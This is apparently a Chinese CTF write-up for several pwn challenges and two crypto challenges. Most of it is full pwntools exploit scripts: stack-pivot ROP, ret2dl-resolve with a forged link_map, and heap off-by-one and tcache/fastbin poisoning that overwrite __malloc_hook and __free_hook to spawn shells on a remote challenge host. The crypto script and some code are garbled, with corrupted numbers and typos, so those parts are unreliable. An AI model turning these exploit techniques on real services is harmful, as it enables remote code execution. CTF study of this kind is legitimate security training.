blackgive

栈迁移 rop。感觉没什么可说的。

exp

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
sh = process("./blackgive")
#sh = remote("")
libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so")
elf = ELF("./blackgive")
pop_rdi_ret = 0x400813
bss\_base = 0x6010A0
off = 0xA0
payload = 'passw0rd'.ljust(0x20,'\x00')
payload += p64(bss\_base + off - 0x8) + p64(0x4007A3)
sh.recvuntil("password:")
#gdb.attach(proc.pidof(sh)[0])
sh.send(payload)
payload = '\x00' * off + p64(pop_rdi_ret) + p64(elf.got['puts']) +
p64(elf.sym['puts']) + p64(0x40070a)
sh.sendlineafter("!\n",payload)
puts_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
payload = 'passw0rd'.ljust(0x20,'\x00')
payload += p64(0) + p64(libc_base + 0x4f432)
sh.sendafter("password:",payload)
sh.interactive()
```

without_leak

64 位 ret2d1-resolve 裸题。由于输出流都被关闭,所以无法实现 leak,考虑进行 ret2d1-resolve。由于提供了 libc ,考虑通过伪造 link_map 结构体 getshell。打本地的时候,即便打通了也会有

这个 Got EOF, 一般这个时候就是说明失败了,而且用 exec 1>&0 也无用,导致我浪费了很多时间调试。最后终于想到用 mkdir 测试一下才知道成功 getshell 了。

关于调试,由于我们的伪造,「sym->st_other 是指向 read@got - 8 的,也就是 close@got ,要保证 close 被解析过才能正常运行,否则会崩溃。

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
#sh = process("./without_leak")
sh = remote("182.92.108.71", 30483)
elf = ELF("./without_leak")
bss_addr = 0x404B00
def ret2csu_payload(rbx,rbp,call_addr,argv1,argv2,argv3):
   csu1 = 0x40123A
    csu2 = 0x401220
    payload = p64(csu1)
    payload += p64(0) + p64(1) + p64(argv1) + p64(argv2) + p64(argv3) +
p64(call_addr)
    payload += p64(csu2)
    payload += p64(0) * 7
    return payload
def fake_Linkmap_payload(elf,fake_linkmap_addr,known_func_ptr,offset):
    plt0 = elf.get_section_by_name('.plt').header.sh_addr
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr
    linkmap += p64(17)#l_name
    linkmap += p64(fake_linkmap_addr + 0x18)#l_ld
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))#l_next
    linkmap += p64(7) #1_prev
    linkmap += p64(0)#l_real
    1inkmap += p64(0)#1_ns
    linkmap += p64(6)#1_libname
    linkmap += p64(known_func_ptr - 8)#l_info[0] tags
    linkmap += '/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, 'A')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8,'A')
    linkmap += p64(fake_linkmap_addr + 8)
    resolve\_call = p64(plt0 + 6) + p64(fake\_linkmap\_addr) + p64(0)
    return (linkmap,resolve_call)
offset = 0x20 + 0x8
payload = '\x00' * offset
libc = ELF("./libc-2.27.so")
log.success('system offset:' + hex(libc.sym['system']))
fake_linkmap_addr = bss_addr + 0x100
linkmap, resolve_call =
fake_Linkmap_payload(elf,fake_linkmap_addr,elf.got['read'],libc.sym['system'] -
libc.sym['read'])
payload += ret2csu_payload(0,1,elf.got['read'],0,fake_linkmap_addr,len(linkmap))
payload += p64(0x401156)
#sh.sendafter('input> \n',rop.chain().ljust(0x200,'a'))
sh.recvuntil('input> \n')
#gdb.attach(proc.pidof(sh)[0])
```

```
sh.send(payload.ljust(0x200,'a'))
sh.send(linkmap)

payload = '\x00' * offset
payload += p64(0x40101a)
payload += p64(0x401243)
payload += p64(fake_linkmap_addr + 0x48)
payload += resolve_call
sh.send(payload.ljust(0x200,'\x00'))
sh.interactive()
```

todolist

这道题就不说了,和上周的题是几乎一样的

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
#sh = process("./todolist")
sh = remote("182.92.108.71", 30411)
libc = ELF("./libc-2.27.so")
def take(size):
    sh.sendlineafter("exit\n",'1')
    sh.sendlineafter("write?\n",str(size))
def delete(index):
    sh.sendlineafter("exit\n",'2')
    sh.sendlineafter("delete?\n",str(index))
def edit(payload,index):
    sh.sendlineafter("exit\n",'3')
    sh.sendlineafter("edit?\n",str(index))
    sh.sendlineafter("write?\n",str(len(payload)))
    sh.send(payload)
def show(index):
    sh.sendlineafter("exit\n",'4')
    sh.sendlineafter("check?\n",str(index))
take(2048)#index:0
take(0x100)#index:1
delete(0)
show(0)
libc_base = u64(sh.recv(6).ljust(8,'x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
delete(1)
#malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
#log.success("malloc_hook:" + hex(malloc_hook))
#edit(p64(malloc_hook - 0x10),1)
edit(p64(free_hook),1)
take(0x100)#index:2
```

```
take(0x100)#index:3

one_gadget = libc_base + 0x4f432
realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,3)

#take(0x200)
delete(0)
sh.interactive()
```

看完之后就觉得这题可以用上周的 exp 来打,所以就 cp 了一下上周的,但是没看清所处的目录,一个tab 一个回车之后我 blackgive 的 exp 就没了。

Library management System

```
unsigned __int64 __fastcall read_0(__int64 a1, int a2)
{
    char buf; // [rsp+13h] [rbp-Dh]
    int i; // [rsp+14h] [rbp-Ch]
    unsigned __int64 v5; // [rsp+18h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    for ( i = 0; i <= a2; ++i )
    {
        if ( read(0, &buf, 1uLL) != 1 )
            exit(-1);
        if ( buf == 10 )
            break;
        *(_BYTE *)(a1 + i) = buf;
    }
    return v5 - __readfsqword(0x28u);
}</pre>
```

这个读入函数是会多读一个字节的,所以我们利用他来修改下一个 chunk 的 size 域。做法就是先申请4个 chunk,记作A,B,C,D。由于本题没有修改的功能,所以需要先 free A,再 alloc A,通过对 A off by one 修改 chunk B 的 size 域,使 chunk B 的 size 为 B 和 C 的和(这是为了在 free 的时候通过检测。同时这个和需要大于0x80,这样 free 的时候才会进 unsorted Bin)实现 chunk overlapping,然后 free 掉 B,再把 B 申请回来就可以通过 show 的功能 leak 出 libc。然后再来一轮,这次先 free 掉 C,再对 B chunk overlapping,修改 C 的 fd,使之指向 &__malloc_hook - 0x23。指向这个奇怪地址的原因是因为 fastbin 会对目标 chunk 的 size 做检测

```
0x7ffff7dcdc00 <_IO_wide_data_0+288>: 0x000000000000000000
                                                             0x00000000000000000
0x7ffff7dcdc10 <_IO_wide_data_0+304>: 0x00007ffff7dc9d60
                                                             0x00000000000000000
0x7fffff7dcdc20 <__memalign_hook>:
                                     0x00007ffff7a794f0
                                                             0x00007ffff7a7a8d0
0x7fffff7dcdc30 < malloc hook>: 0x00007fffff7a78b10
                                                     0x00000000000000000
0x7fffff7dcdc40 <main_arena>:
                              0x00000000000000000
0x7fffff7dcdc50 <main_arena+16>: 0x000000000000000000
                                                     0x00000000000000000
0x7fffff7dcdc60 <main_arena+32>: 0x000000000000000000
                                                     0x00000000000000000
0x7ffff7dcdc70 <main_arena+48>: 0x000000000000000000
                                                     0x0000000000000000
0x0000000000000000
0x7ffff7dcdc90 <main_arena+80>: 0x000000000000000000
                                                    0x00000000000000000
```

可见 malloc 附近并没有可以作为 size 。好在 fastbin 并不会对地址对齐做检测,所以我们通过字节错位来伪造出 size ,也就是 从 & __malloc_hook - 0x23 开始的这个 chunk 了。

```
x/20xg 0x7fffff7dcdc30 - 0x23
                                                             0x0000000000000007f
0x7fffff7dcdc0d <_IO_wide_data_0+301>:
                                     0xfff7dc9d60000000017A
0x7ffff7dcdc1d: 0xfff7a794f0000000 0xfff7a7a8d0000007f
0x7fffff7dcdc2d <__realloc_hook+5>:
                                     0xfff7a78b1000007f
                                                             0x0000000000000007f
0x7ffff7dcdc3d: 0x00000000000000000
                                     0x00000000000000000
0x7ffff7dcdc4d <main_arena+13>: 0x000000000000000000
                                                     0x00000000000000000
0x7ffff7dcdc5d <main_arena+29>: 0x00000000000000000
                                                     0x000000000000000000
0x7ffff7dcdc6d <main_arena+45>: 0x00000000000000000
                                                     0x00000000000000000
0x00000000000000000
0x7fffff7dcdc8d <main_arena+77>: 0x000000000000000000
                                                     0x00000000000000000
0x7ffff7dcdc9d <main_arena+93>: 0x00000000000000000
                                                     0x000000000000000000
```

就是这样一个效果, 我们就可以实现 arbitrary alloc 了。

exp

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
#sh = process("./library")
sh = remote("182.92.108.71", 30431)
libc = ELF("./libc.so.6")
def Add(size,payload):
    sh.sendlineafter("choice: ",str(1))
    sh.sendlineafter("title: ",str(size))
    sh.sendafter("title: ",payload)
def Delete(index):
    sh.sendlineafter("choice: ",str(2))
    sh.sendlineafter("id: ",str(index))
def Show(index):
    sh.sendlineafter("choice: ",str(3))
    sh.sendlineafter("id: ",str(index))
Add(24, 'index:0\n')
Add(48, 'index:1\n')
Add(64, 'index:2\n')
Add(16, 'index:3\n')#avoid top chunk
Delete(0)
Add(24, 'a' * 24 + '\x91')
Delete(1)
Add(48, '\n')
Show(1)
sh.recvuntil("is ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - (0x3C4B20 + 0x80 + 88)
log.success('libc_base:' + hex(libc_base))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
alloc\_addr = malloc\_hook - 0x23
one_gadget = libc_base + 0x4527a
realloc_addr = libc_base + 0x84720
```

```
Add(0x40,'index:4\n')
Add(24, 'index:5\n')
Add(16, 'index:6\n')
Add(0x68,'index:7\n')
Add(16, 'index:8\n')#avoid top chunk
Delete(7)
Delete(5)
Add(24, 'a' * 24 + '\x91')
Delete(6)
payload = 'a' * 16 + p64(0) + p64(0x71) + p64(alloc_addr)
Add(112,payload + '\n')
Add(0x68,'\n')
Add(0x68, 'a' * 0xB + p64(one\_gadget) + p64(realloc\_addr) + '\n')
sh.sendlineafter("choice: ",str(1))
sh.sendlineafter("title: ",str(16))
#Add(16,'\n')
sh.interactive()
```

todolist2

```
Trick
```

打个-1 就可以随便输了。

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context(log_level = 'debug')
context.terminal = ['tmux','splitw','-h']

#sh = process("./todolist2")
sh = remote("182.92.108.71",30521)
libc = ELF("./libc-2.27.so")
```

```
def take(size):
    sh.sendlineafter("exit\n",'1')
    sh.sendlineafter("write?\n",str(size))
def delete(index):
    sh.sendlineafter("exit\n",'2')
    sh.sendlineafter("delete?\n",str(index))
def edit(payload,index,size):
    sh.sendlineafter("exit\n",'3')
    sh.sendlineafter("edit?\n",str(index))
    sh.sendlineafter("write?\n",str(size))
    sh.send(payload)
def show(index):
    sh.sendlineafter("exit\n",'4')
    sh.sendlineafter("check?\n",str(index))
take(0x410)#index:0
take(0x410)#index:1
take(0x20)#index:2
delete(0)
delete(1)
take(0x830)#index:3
show(3)
libc_base = u64(sh.recv(6).liust(8,'\x00')) - 0x3ebc40 - 96
log.success("libc_base:" + hex(libc_base))
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
free_hook = libc_base + libc.symbols["__free_hook"]
log.success("malloc_hook:" + hex(malloc_hook))
log.success("free_hook:" + hex(free_hook))
one\_gadget = libc\_base + 0x4f432
log.success("one_gadget:" + hex(one_gadget))
'''---- above dumped libc -----'''
take(0x100)#index:4
take(0x100)#index:5
delete(5)
edit('a' * 0x100 + p64(0) + p64(0x111) + p64(free_hook) + '\n', 4, -1)
\#edit('a' * 0x100 + p64(0) + p64(0x111) + p64(malloc_hook) + '\n',4,-1)
\#edit('a' * 0x100 + p64(0) + p64(0x111) + p64(malloc_hook - 0x10) + '\n',4,-1)
take(0x100)#index:6
take(0x100)#index:7
realloc = libc_base + libc.symbols["__libc_realloc"]
#payload = p64(one_gadget) + p64(realloc + 0xa)
payload = p64(one_gadget)
edit(payload,7,len(payload))
#gdb.attach(proc.pidof(sh)[0])
#take(0x200)
delete(2)
sh.interactive()
```

Crypto

LikiPrime

先通过这个网站分解 N, 然后通过 RSA Tool 2 by tE 直接解出 flag。

HappyNewYear!!

低指数广播攻击。

```
from gmpy2 import*
from libnum import *
def CRT(a.n):
    sum = 0
   N = reduce(lambda x, y: x*y, n)
    for n_i, a_i in zip(n,a):
        N_i = N // n_i
        sum += a_i*N_i*invert(N_i,n_i)
    return sum % N
ns = [
76873128450632794411340623602726745315317850448196047416384941357295990190078194
14710601206646150366677215682364861042125439416260936836118200519568889999904095
35944068510533828285247642295156383062225121123397420863524500301605790432399020
45390530506713150949793191421443103315749838684001023448248417789819160867344569
05420419590914454188783758774351646742037769317387086248043016461796530198175966
12876848617302959482364008286148292002918372774353441375602500755004724814787928
35659407934436159683648252502143461627198292066231325653000788301872058504723212
12897216569631326836820236256832299405879593155835397208575574516814022281680965
59968476948263356605729649774017109848808425693506724312264272613164411551780892
43425574921312869212245436455998601825137916733142532180376045402694503985686049
10386699743956838098547903654638406363439809623762055400130156293073899344887255
37142983815565534720739509012176887290320329127809218230756596181528831774086891
63329034139915363117802217165515357679332404630234926742155622006326426173996810
39534604440180663814879413051907307216085130481814501276285627707021726580888365
81698332318905758721984778545449145728049393279394785952324627362503706190204128
637631213405674863660425389313259.
52495554982270110882024944834154947178954297037429722071964414446704612099970843
50272698097174917083845915027478438118585992565780061524098615216248004142210494
34790169883523654257416906811451131195855586244598374880878692418389200238536952
25867743865481809623600166554087873399391607096943930960066905821653238128513122
00908543846964797023331905476908129907148845261227240652112947332528633530536126
62498096532976972273019631446622835704720241172866721075241553118399444619649756
06754648294891444603452719702904329686722646739014026236117546593267312968549766
66621670821142593685917136700444697809558104200607143890435075707070611291500718
85165680539302629323340904857078380746639406842784054066196290404127562974351550
47073295688905770106824153346966526970804033779297479283967160906462427373448826
44099080373279635827499391311192852996185659550384490800471851429080910992862220
71106259434530841587125509988124634728986309920606439740930811537598857558982632
23786873485766385364541112262111717598341716281879186918035073770903424360239968
60048081331160462608475138631005602859620531102785795748957549289609435065843724
24062481234806423574610837438057911596190771344568064718882123247708570545980147
637910744997312960997877114875563,
```

595711912716069746542235493085749,

724604696171453417718094964090327,

132621350706544122257464089409619,

169173330728718482770626654501523,

138655082911865834699807375008861]

cs = [

786476411351969424168366962370578,

892000066519489369586647822582532,

56948001465214314349394508264556,

150677994598866694976617038952960,

065014954050674151068209958156338.

809743836689209926943448276851733.

```
for i in range(0,7):
    for j in range(i + 1,7):
        for k in range(j + 1,7):
        e=3
        n1 = ns[i]
        c1 = cs[i]
```

]

```
n2 = ns[j]
c2 = cs[j]
n3 = ns[k]
c3 = cs[k]

n =[n1,n2,n3]
c =[c1,c2,c3]

x = CRT(c,n)

m = iroot(x,e)[0]
print(n2s(m))
```

可以找到两个片段,拼起来就可以了。